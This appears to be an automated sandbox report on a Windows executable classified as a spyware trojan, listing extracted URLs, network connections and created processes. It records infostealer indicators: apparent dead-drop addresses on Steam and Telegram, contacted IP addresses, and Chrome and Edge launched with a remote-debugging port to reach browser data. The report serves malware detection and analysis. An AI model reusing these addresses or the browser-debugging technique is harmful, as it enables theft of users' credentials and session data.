Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: chromecache_454.6.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://srtb.msn.com/
Source: file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199807592927
Source: file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199807592927d0wntgMozilla/5.0
Source: file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/detct0r
Source: file.exe, 00000000.00000003.1543715466.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/detct0rd0wntgMozilla/5.0
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://tidal.com/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://twitter.com/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 000003.ldb.10.dr	String found in binary or memory: https://web.skype.com/?
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: file.exe, 00000000.00000003.1574268096.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://web.telegram.org/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://web.whatsapp.com
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: RQ1VK6.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.deezer.com/
Source: MOP8GV.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.10.dr, content_new.js.10.dr	String found in binary or memory: https://www.google.com/chrome
Source: MOP8GV.0.dr, Q9RQQQ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 8ca318b1-9904-4b9c-94a8-aa74f288d2b4.tmp.13.dr, 9fcf533d-7852-4fa6-aa4b-475f68a58e0a.tmp.13.dr, 8314d887-e83b-4a7e-aaf7-3553fb860120.tmp.13.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_454.6.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_454.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_454.6.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.instagram.com
Source: RQ1VK6.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.last.fm/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.messenger.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 000003.ldb.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNs
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr, 000003.ldb.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr, 000003.ldb.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr, 000003.ldb.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.10.31:443 -> 192.168.2.8:49708 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xiumbxnc ZLIB complexity 0.9947656483000298

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@66/230@36/23

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\SHIVN7IF.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\bb7dfd58-3f81-47bd-9639-eb4cccc15bd9.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3O8Y5XLFC.0.dr, 900ZM7Y5X.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2236,i,14863251610561902864,11257692627608864395,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2256,i,13409747486401318326,17873368188022169057,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6856 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6172 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=972 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2236,i,14863251610561902864,11257692627608864395,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2256,i,13409747486401318326,17873368188022169057,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2704 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6692 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6856 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6172 --field-trial-handle=2052,i,3797865959626290967,6267395957437977720,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
